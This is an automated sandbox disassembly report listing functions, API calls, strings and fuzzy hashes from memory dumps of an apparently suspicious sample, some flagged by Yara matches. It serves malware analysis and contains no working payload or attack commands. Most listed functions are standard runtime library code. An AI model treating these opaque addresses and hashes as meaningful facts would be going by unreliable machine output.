Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad$ErrorLast
String ID: advapi32.dll
API String ID: 2340687224-4050573280
Opcode ID: b1b79d5369405be0947094fd1898dbb8d0f25fa0b2a305c733e5edde1381297e
Instruction ID: 39c78e8109916ad6097aea2f87a8a122f33cc6f3898951209203320093236cb4
Opcode Fuzzy Hash: b1b79d5369405be0947094fd1898dbb8d0f25fa0b2a305c733e5edde1381297e
Instruction Fuzzy Hash: 92218CB1904711BFDB107FB4DC09A9ABFA8EF05B16F008A2AF155E3641CB7C94418BA8

Function 0068EEC5 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 77libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(advapi32.dll,00000000,00000800,0045A064,00000000,?,?,00000000,00441C13,000000FF,?,0068F228,00000004,00687D87,00000004,00688069), ref: 0068EEF9
GetLastError.KERNEL32(?,0068F228,00000004,00687D87,00000004,00688069,?,00688799,?,00000008,0068800D,00000000,?,?,00000000,?), ref: 0068EF05
LoadLibraryW.KERNEL32(advapi32.dll,?,0068F228,00000004,00687D87,00000004,00688069,?,00688799,?,00000008,0068800D,00000000,?,?,00000000), ref: 0068EF15
GetProcAddress.KERNEL32(00000000,00447430), ref: 0068EF2B
GetProcAddress.KERNEL32(00000000,00000000), ref: 0068EF41
GetProcAddress.KERNEL32(00000000,00000000), ref: 0068EF58
GetProcAddress.KERNEL32(00000000,00000000), ref: 0068EF6F
GetProcAddress.KERNEL32(00000000,00000000), ref: 0068EF86
GetProcAddress.KERNEL32(00000000,00000000), ref: 0068EF9D

Strings

advapi32.dll, xrefs: 0068EEF3, 0068EEF8, 0068EF14

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad$ErrorLast
String ID: advapi32.dll
API String ID: 2340687224-4050573280
Opcode ID: 65d3570880ea5d838512f96381691d3386102deee3282de167715cc0b76a9286
Instruction ID: 2cfdc11d321830f81844ecf1861dfd97e60f77bb822553c79f7100c82f5fa98b
Opcode Fuzzy Hash: 65d3570880ea5d838512f96381691d3386102deee3282de167715cc0b76a9286
Instruction Fuzzy Hash: B5218CB1904711BFD7107FA4DC09A5ABBECEF05B16F008A2AF155E3641CB7C94418BA8

Function 006824A7 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 63libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,00000000,00000000,?,?,?,0068670B), ref: 006824B6
GetProcAddress.KERNEL32(00000000,00446CDC), ref: 006824C4
GetProcAddress.KERNEL32(00000000,00446CF4), ref: 006824D2
GetModuleHandleW.KERNEL32(kernel32.dll,00446D0C,?,?,?,0068670B), ref: 00682500
GetProcAddress.KERNEL32(00000000), ref: 00682507
GetLastError.KERNEL32(?,?,?,0068670B), ref: 00682522
GetLastError.KERNEL32(?,?,?,0068670B), ref: 0068252E
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00682544
__CxxThrowException@8.LIBVCRUNTIME ref: 00682552

Strings

kernel32.dll, xrefs: 006824B0, 006824B5, 006824FA

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: AddressProc$ErrorHandleLastModule$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorException@8Throw
String ID: kernel32.dll
API String ID: 4179531150-1793498882
Opcode ID: 1e04dd94cd55fca8ec38f5d852553bd0c5fa5d9a4266e3884da298c5c245e2aa
Instruction ID: 195e6142c661810f8ab967ff9b48bd6da0b28dd936343278bac419899d14b408
Opcode Fuzzy Hash: 1e04dd94cd55fca8ec38f5d852553bd0c5fa5d9a4266e3884da298c5c245e2aa
Instruction Fuzzy Hash: AC11E9B55003127FE7147B74AD6E96B3BEDDE05B12720062AF401E3252EF34D900876D

Function 0042484D Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 104threadCOMMON

Download Yara Rule

APIs

Concurrency::details::ThreadProxy::SuspendExecution.LIBCMT ref: 00424866

Part of subcall function 00424B35: WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000,00000000,00424599), ref: 00424B45

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 0042487B
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0042488A
__CxxThrowException@8.LIBVCRUNTIME ref: 00424898
Concurrency::details::FreeVirtualProcessorRoot::Affinitize.LIBCONCRT ref: 0042490E
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0042494E
__CxxThrowException@8.LIBVCRUNTIME ref: 0042495C

Strings

switchState, xrefs: 00424882
pContext, xrefs: 00424946

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: Concurrency::details::$Exception@8FreeProcessorRoot::ThrowVirtualstd::invalid_argument::invalid_argument$AffinitizeExecutionIdleObjectProxy::ResetSingleSuspendThreadWait
String ID: pContext$switchState
API String ID: 3151764488-2660820399
Opcode ID: 219df9cbfeb1429f4312672cca97738a090813e365a6f1d89fd3b539392bd973
Instruction ID: 2510875a34d85c59997f50971944281e03e0fb8bb22fa9aac23d9a99742e70f3
Opcode Fuzzy Hash: 219df9cbfeb1429f4312672cca97738a090813e365a6f1d89fd3b539392bd973
Instruction Fuzzy Hash: 5F31F635B00224ABCF04EF65D881A6EB7B9FF84314F61456BE815A7381DB78EE05C798

Function 00419746 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,00000000,00000000,00000002), ref: 00419768
GetCurrentProcess.KERNEL32(000000FF,00000000), ref: 00419772
DuplicateHandle.KERNEL32(00000000), ref: 00419779
SafeRWList.LIBCONCRT ref: 00419798

Part of subcall function 00417767: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00417778
Part of subcall function 00417767: List.LIBCMT ref: 00417782

std::invalid_argument::invalid_argument.LIBCONCRT ref: 004197AA
GetLastError.KERNEL32 ref: 004197B9
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 004197CF
__CxxThrowException@8.LIBVCRUNTIME ref: 004197DD

Strings

eventObject, xrefs: 004197A2

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: CurrentListProcess$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorDuplicateErrorException@8HandleLastLock::_ReaderSafeThrowWriteWriterstd::invalid_argument::invalid_argument
String ID: eventObject
API String ID: 1999291547-1680012138
Opcode ID: a400a672ae4bfdaa01994e5aaa8cdae1f15ced21a90c909c370a8ff226bbabcd
Instruction ID: 481122be4c91591a449bb5dcd4d0178f9edd258f0a599c8a0e64e7baae7edbbd
Opcode Fuzzy Hash: a400a672ae4bfdaa01994e5aaa8cdae1f15ced21a90c909c370a8ff226bbabcd
Instruction Fuzzy Hash: 7A11A075500104EACB14EFA5CC49FEF77B8AF00701F24022BF519E21D1EB789A84C66D

Function 00690C26 Relevance: 15.1, APIs: 10, Instructions: 136threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00690C36
Concurrency::details::UMS::CreateUmsCompletionList.LIBCONCRT ref: 00690C9D
Concurrency::details::InternalContextBase::ExecutedAssociatedChore.LIBCONCRT ref: 00690CBA
Concurrency::details::InternalContextBase::WorkWasFound.LIBCONCRT ref: 00690D20
Concurrency::details::InternalContextBase::ExecuteChoreInline.LIBCMT ref: 00690D35
Concurrency::details::InternalContextBase::WaitForWork.LIBCONCRT ref: 00690D47
Concurrency::details::InternalContextBase::SwitchTo.LIBCONCRT ref: 00690D75
Concurrency::details::UMS::GetCurrentUmsThread.LIBCONCRT ref: 00690D80
__CxxThrowException@8.LIBVCRUNTIME ref: 00690DAC
Concurrency::details::WorkItem::TransferReferences.LIBCONCRT ref: 00690DBC

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::ContextInternal$Work$ChoreCurrentThread$AssociatedCompletionCreateException@8ExecuteExecutedFoundInlineItem::ListReferencesSwitchThrowTransferWait
String ID:
API String ID: 3720063390-0
Opcode ID: 771ecb464f7cbbc53463eb78e9650550d29affee346428328e6f851ddce87dca
Instruction ID: 6b3d5720081094bea85847d3b2d6c5f76c143353596992ae2cabd7b8d8c3e9db
Opcode Fuzzy Hash: 771ecb464f7cbbc53463eb78e9650550d29affee346428328e6f851ddce87dca
Instruction Fuzzy Hash: 23419F30A042089EEF94FBE484567ED77ABAF02304F14416DE9066B783DF759E09C769

Function 006A204D Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 006A2061

Part of subcall function 006A36D1: HeapFree.KERNEL32(00000000,00000000,?,006AA35F,?,00000000,?,00000000,?,006AA603,?,00000007,?,?,006AA9F7,?), ref: 006A36E7
Part of subcall function 006A36D1: GetLastError.KERNEL32(?,?,006AA35F,?,00000000,?,00000000,?,006AA603,?,00000007,?,?,006AA9F7,?,?), ref: 006A36F9

_free.LIBCMT ref: 006A206D
_free.LIBCMT ref: 006A2078
_free.LIBCMT ref: 006A2083
_free.LIBCMT ref: 006A208E
_free.LIBCMT ref: 006A2099
_free.LIBCMT ref: 006A20A4
_free.LIBCMT ref: 006A20AF
_free.LIBCMT ref: 006A20BA
_free.LIBCMT ref: 006A20C8

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: dff188c56af8bee3fd9e149c250172911bfba27409d3e3615d5ba8f14f079428
Instruction ID: 2d9971fefa9e5d8f9ba4ce631b21890eda548405fbde053b44c52f8ccfa7f9ce
Opcode Fuzzy Hash: dff188c56af8bee3fd9e149c250172911bfba27409d3e3615d5ba8f14f079428
Instruction Fuzzy Hash: 4411747660051CBFCB81FF54C842CD93BA6EF05390B6150A9BA088F322DA71DF609F84

Function 00431DE6 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00431DFA

Part of subcall function 0043346A: HeapFree.KERNEL32(00000000,00000000,?,0043A0F8,?,00000000,?,00000000,?,0043A39C,?,00000007,?,?,0043A790,?), ref: 00433480
Part of subcall function 0043346A: GetLastError.KERNEL32(?,?,0043A0F8,?,00000000,?,00000000,?,0043A39C,?,00000007,?,?,0043A790,?,?), ref: 00433492

_free.LIBCMT ref: 00431E06
_free.LIBCMT ref: 00431E11
_free.LIBCMT ref: 00431E1C
_free.LIBCMT ref: 00431E27
_free.LIBCMT ref: 00431E32
_free.LIBCMT ref: 00431E3D
_free.LIBCMT ref: 00431E48
_free.LIBCMT ref: 00431E53
_free.LIBCMT ref: 00431E61

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: dff188c56af8bee3fd9e149c250172911bfba27409d3e3615d5ba8f14f079428
Instruction ID: 861173ad91a1010c78510ab484a24ed9c78665ad215b99cbbf48ba7f2ea438f1
Opcode Fuzzy Hash: dff188c56af8bee3fd9e149c250172911bfba27409d3e3615d5ba8f14f079428
Instruction Fuzzy Hash: 5811B9B6600508BFDB02EF5AC852CD93BA5EF18755F0190AAF9084F232D635DF559F84

Function 0042E1B2 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 200COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftoe.LIBCMT ref: 0042E1DE
__cftoe.LIBCMT ref: 0042E210

Strings

F(@, xrefs: 0042E25E, 0042E1CC, 0042E261
F(@, xrefs: 0042E229, 0042E1C0

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: __cftoe
String ID: F(@$F(@
API String ID: 4189289331-2038261262
Opcode ID: bbe416c8d69575f9d93ce627a81c40a4a4bf106591ac0e44be9dd0909605bb26
Instruction ID: f7128e803ecc638eadc91937d15ccb8599414b14ec088efe1e3a9152a03639fe
Opcode Fuzzy Hash: bbe416c8d69575f9d93ce627a81c40a4a4bf106591ac0e44be9dd0909605bb26
Instruction Fuzzy Hash: 35511A32600215EBEB209F5BAC41FAF77A9EF49324F94425FF81592282DB39D900866D

Function 0043EEA2 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 154COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,?,0044018F), ref: 0043EEC5

Strings

log10, xrefs: 0043EF0F, 0043EF5F
log, xrefs: 0043EF6B, 0043EF77
exp, xrefs: 0043EF8A, 0043EFEC
sqrt, xrefs: 0043F049
pow, xrefs: 0043EFA9, 0043F055, 0043F068
asin, xrefs: 0043F031
acos, xrefs: 0043F03D

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: DecodePointer
String ID: acos$asin$exp$log$log10$pow$sqrt
API String ID: 3527080286-3064271455
Opcode ID: aa1c02400c42ddcfd268636a8d8394cc3decb473de125785aaadf9f4f02fbad0
Instruction ID: 8170d9845b751ca2959588a2f937d780391b5e174033125a046a2bd7c9c475e6
Opcode Fuzzy Hash: aa1c02400c42ddcfd268636a8d8394cc3decb473de125785aaadf9f4f02fbad0
Instruction Fuzzy Hash: 3351AF7090050EDBDF14DF99E6481ADBBB0FB4D300F2551A7E480A7295C77A8D29CB1E

Function 006A3190 Relevance: 13.8, APIs: 9, Instructions: 300COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2096f585af2949bbcbeb02ba378e27ab7de49007c7775bea8d51a9bce3371cac
Instruction ID: c953d6295c2c94425488212fabe5741fb1623f041cc075fe7bd06ff5470963de
Opcode Fuzzy Hash: 2096f585af2949bbcbeb02ba378e27ab7de49007c7775bea8d51a9bce3371cac
Instruction Fuzzy Hash: C2C19E70D04259ABDF15EFA8C841BEEBBB6AF0A310F144199F414AB392D7709E41CF65

Function 004286D0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 004286FB
___except_validate_context_record.LIBVCRUNTIME ref: 00428703
_ValidateLocalCookies.LIBCMT ref: 00428791
__IsNonwritableInCurrentImage.LIBCMT ref: 004287BC
_ValidateLocalCookies.LIBCMT ref: 00428811

Strings

fB, xrefs: 004287AE, 004287B7, 004287C8
csm, xrefs: 004287A6

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: fB$csm
API String ID: 1170836740-1586063737
Opcode ID: be357bd56004c24e133951e3250c1e3ffc6610d741da1472be978505f667fff6
Instruction ID: 7444ce20eee9e01817f939fbe5b18052b9a848ec9e24e3aae95877e68e098c30
Opcode Fuzzy Hash: be357bd56004c24e133951e3250c1e3ffc6610d741da1472be978505f667fff6
Instruction Fuzzy Hash: F241FB34F012289BCF10DF19DC41A9EBBB5AF84318F64816FE9145B392DB399D11CB99

Function 00428CBD Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 87COMMONLIBRARYCODE

Download Yara Rule

APIs

FindSITargetTypeInstance.LIBVCRUNTIME ref: 00428D10
FindMITargetTypeInstance.LIBVCRUNTIME ref: 00428D29
FindVITargetTypeInstance.LIBVCRUNTIME ref: 00428D30
PMDtoOffset.LIBCMT ref: 00428D4F

Strings

Bad dynamic_cast!, xrefs: 00428D91

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: FindInstanceTargetType$Offset
String ID: Bad dynamic_cast!
API String ID: 1467055271-2956939130
Opcode ID: 3d5976511a35a3e55709e8aa5dafb06ef667d3e4312e87b96652b8bae1ee5f2b
Instruction ID: 5e24beb8d8256b5c5f325d4796605ad5260749f939022e6450d69b98b3545f73
Opcode Fuzzy Hash: 3d5976511a35a3e55709e8aa5dafb06ef667d3e4312e87b96652b8bae1ee5f2b
Instruction Fuzzy Hash: CD2137727062259FCB04DF65F902A6E77A4EF64714B60421FF900932C1DF3CE80586A9

Function 00674E7B Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00674E8C
int.LIBCPMT ref: 00674EA3

Part of subcall function 0067BFC3: std::_Lockit::_Lockit.LIBCPMT ref: 0067BFD4
Part of subcall function 0067BFC3: std::_Lockit::~_Lockit.LIBCPMT ref: 0067BFEE

std::locale::_Getfacet.LIBCPMT ref: 00674EAC
std::_Facet_Register.LIBCPMT ref: 00674EDD
std::_Lockit::~_Lockit.LIBCPMT ref: 00674EF3
__CxxThrowException@8.LIBVCRUNTIME ref: 00674F11

Strings

S|, xrefs: 00674E9A, 00674EEA

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetRegisterThrowstd::locale::_
String ID: S|
API String ID: 2243866535-739551004
Opcode ID: 8360cf2ad30bdfb21b7e95981d287bcfb384644201decadf3b6eee33653b9c52
Instruction ID: 65a86bedcdca6e0691f57bfc563375f4ac14de5a0ac1fafbc80a198118cc4b69
Opcode Fuzzy Hash: 8360cf2ad30bdfb21b7e95981d287bcfb384644201decadf3b6eee33653b9c52
Instruction Fuzzy Hash: E211E531800218DBCF90EBA4D805AEE7777BF44720F24851DF419A7291DF749D05CB98

Function 0040556E Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0040557F
int.LIBCPMT ref: 00405596

Part of subcall function 0040BD5C: std::_Lockit::_Lockit.LIBCPMT ref: 0040BD6D
Part of subcall function 0040BD5C: std::_Lockit::~_Lockit.LIBCPMT ref: 0040BD87

std::locale::_Getfacet.LIBCPMT ref: 0040559F
std::_Facet_Register.LIBCPMT ref: 004055D0
std::_Lockit::~_Lockit.LIBCPMT ref: 004055E6
__CxxThrowException@8.LIBVCRUNTIME ref: 00405604

Strings

hu, xrefs: 0040558D, 004055DD

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetRegisterThrowstd::locale::_
String ID: hu
API String ID: 2243866535-742701172
Opcode ID: f8330ae3b68186870bdfbd2c21a05cb33b5aede15e19bdae88c6f234de43f936
Instruction ID: 21547056dedd0a357f918a94d9d64b27cd1eadba8e4608574907870a271d474c
Opcode Fuzzy Hash: f8330ae3b68186870bdfbd2c21a05cb33b5aede15e19bdae88c6f234de43f936
Instruction Fuzzy Hash: 3D119E72900628EBCB15EBA5C841AEEB370EF04314F14453FE811BB2D2DB789A058B9C

Function 00404C14 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00404C25
int.LIBCPMT ref: 00404C3C

Part of subcall function 0040BD5C: std::_Lockit::_Lockit.LIBCPMT ref: 0040BD6D
Part of subcall function 0040BD5C: std::_Lockit::~_Lockit.LIBCPMT ref: 0040BD87

std::locale::_Getfacet.LIBCPMT ref: 00404C45
std::_Facet_Register.LIBCPMT ref: 00404C76
std::_Lockit::~_Lockit.LIBCPMT ref: 00404C8C
__CxxThrowException@8.LIBVCRUNTIME ref: 00404CAA

Strings

S|, xrefs: 00404C33, 00404C83

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetRegisterThrowstd::locale::_
String ID: S|
API String ID: 2243866535-739551004
Opcode ID: 8360cf2ad30bdfb21b7e95981d287bcfb384644201decadf3b6eee33653b9c52
Instruction ID: 1aa241efc112286da59c73bb00310cdec327cb4216d8ea75c5d160ea2c1741d7
Opcode Fuzzy Hash: 8360cf2ad30bdfb21b7e95981d287bcfb384644201decadf3b6eee33653b9c52
Instruction Fuzzy Hash: 5311E0B2C002289BCB11EBA0C801AEE7774AF44318F10053FE911BB2D1CB389E058B98

Function 0068C6C0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 45COMMONLIBRARYCODE

Download Yara Rule

APIs

atomic_compare_exchange.LIBCONCRT ref: 0068C6DC
atomic_compare_exchange.LIBCONCRT ref: 0068C700
std::_Cnd_initX.LIBCPMT ref: 0068C711
std::_Cnd_initX.LIBCPMT ref: 0068C71F

Part of subcall function 00671370: __Mtx_unlock.LIBCPMT ref: 00671377

std::_Cnd_initX.LIBCPMT ref: 0068C72F

Part of subcall function 0068C3EF: __Cnd_broadcast.LIBCPMT ref: 0068C3F6

Concurrency::details::_RefCounter::_Release.LIBCONCRT ref: 0068C73D

Strings

t#D, xrefs: 0068C6C2

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: Cnd_initstd::_$atomic_compare_exchange$Cnd_broadcastConcurrency::details::_Counter::_Mtx_unlockRelease
String ID: t#D
API String ID: 4258476935-1671555958
Opcode ID: e23295e8cd53ad3a663e09b033d10301f0236dd426b47c7b657df0c7463be66e
Instruction ID: 771fcec236526d86fe551362890ac4df61a7148630d524f8eb536087ca1fdb4c
Opcode Fuzzy Hash: e23295e8cd53ad3a663e09b033d10301f0236dd426b47c7b657df0c7463be66e
Instruction Fuzzy Hash: D601F771900605ABDB50B7B4CD86B9DB75EAF00320F544219F9049B281DF78AA15879A

Function 00432134 Relevance: 12.2, APIs: 8, Instructions: 216COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,0042D938,0042D938,?,?,?,00432385,00000001,00000001,23E85006), ref: 0043218E
__alloca_probe_16.LIBCMT ref: 004321C6
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,00432385,00000001,00000001,23E85006,?,?,?), ref: 00432214
__alloca_probe_16.LIBCMT ref: 004322AB
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,23E85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 0043230E
__freea.LIBCMT ref: 0043231B

Part of subcall function 004336A7: RtlAllocateHeap.NTDLL(00000000,0040D870,00000000,?,0042679E,00000002,00000000,00000000,00000000,?,0040CD21,0040D870,00000004,00000000,00000000,00000000), ref: 004336D9

__freea.LIBCMT ref: 00432324
__freea.LIBCMT ref: 00432349

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: ByteCharMultiWide__freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 3864826663-0
Opcode ID: cf3b119e7e49bccc4fbc7953cec60797500e2f1b6a8bfe672ac464b3af2e48c8
Instruction ID: 93f6329b7fe105f45c70b5aed5e0df07748c8d3fe3b6be6f44c821e7de56536e
Opcode Fuzzy Hash: cf3b119e7e49bccc4fbc7953cec60797500e2f1b6a8bfe672ac464b3af2e48c8
Instruction Fuzzy Hash: 5851F472610216AFDB258F71CE41EAF77A9EB48B54F14522AFD04D7280DBBCDC40C698

Function 006A1129 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 266COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 006A2141: GetLastError.KERNEL32(?,?,0069A9EC,?,00000000,?,0069CDE6,0067247E,00000000,?,00451F20), ref: 006A2145
Part of subcall function 006A2141: _free.LIBCMT ref: 006A2178
Part of subcall function 006A2141: SetLastError.KERNEL32(00000000,00000000,?,00451F20), ref: 006A21B9

_free.LIBCMT ref: 006A1444
_free.LIBCMT ref: 006A145D
_free.LIBCMT ref: 006A148F
_free.LIBCMT ref: 006A1498
_free.LIBCMT ref: 006A14A4

Strings

C, xrefs: 006A1291

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: _free$ErrorLast
String ID: C
API String ID: 3291180501-1037565863
Opcode ID: eed3b7bc2709ca3cbefa9e0eb2039d909a82c3add560d3625423817520cd7e58
Instruction ID: ba9d486cf2b133c0cfb92b812ce04606a8a353150a85204f8c7bdc796fd0a733
Opcode Fuzzy Hash: eed3b7bc2709ca3cbefa9e0eb2039d909a82c3add560d3625423817520cd7e58
Instruction Fuzzy Hash: C0B14975A012199FDB64EF18C884BADB7B6FF0A304F1445AEE949AB351D730AE90CF44

Function 006AA115 Relevance: 10.7, APIs: 7, Instructions: 204COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 006AA184
_free.LIBCMT ref: 006AA192
_free.LIBCMT ref: 006AA2C0
_free.LIBCMT ref: 006AA2CB

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 30d23d355d895f70cd8acfb134f092bcee01e0337bd1769fb6490f5a84f9f64a
Instruction ID: 33b3bf4c438fa5a6261b1dab9c7e24ef2ab7884b509fb325138f446f2b5673d5
Opcode Fuzzy Hash: 30d23d355d895f70cd8acfb134f092bcee01e0337bd1769fb6490f5a84f9f64a
Instruction Fuzzy Hash: B861D471900205AFDB60EFA4C842B9ABBF6EF46710F28416AF844EB341E7719E51CF55

Function 00439EAE Relevance: 10.7, APIs: 7, Instructions: 204COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00439F1D
_free.LIBCMT ref: 00439F2B
_free.LIBCMT ref: 0043A059
_free.LIBCMT ref: 0043A064

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 1c3dc1b9d9b3fad286da187fe857a54df99b30e252b8950e3012847a3cb02415
Instruction ID: bfd9ead29151d2877f631d1061df4e601ee651aa38b3335c59b440bd117a4214
Opcode Fuzzy Hash: 1c3dc1b9d9b3fad286da187fe857a54df99b30e252b8950e3012847a3cb02415
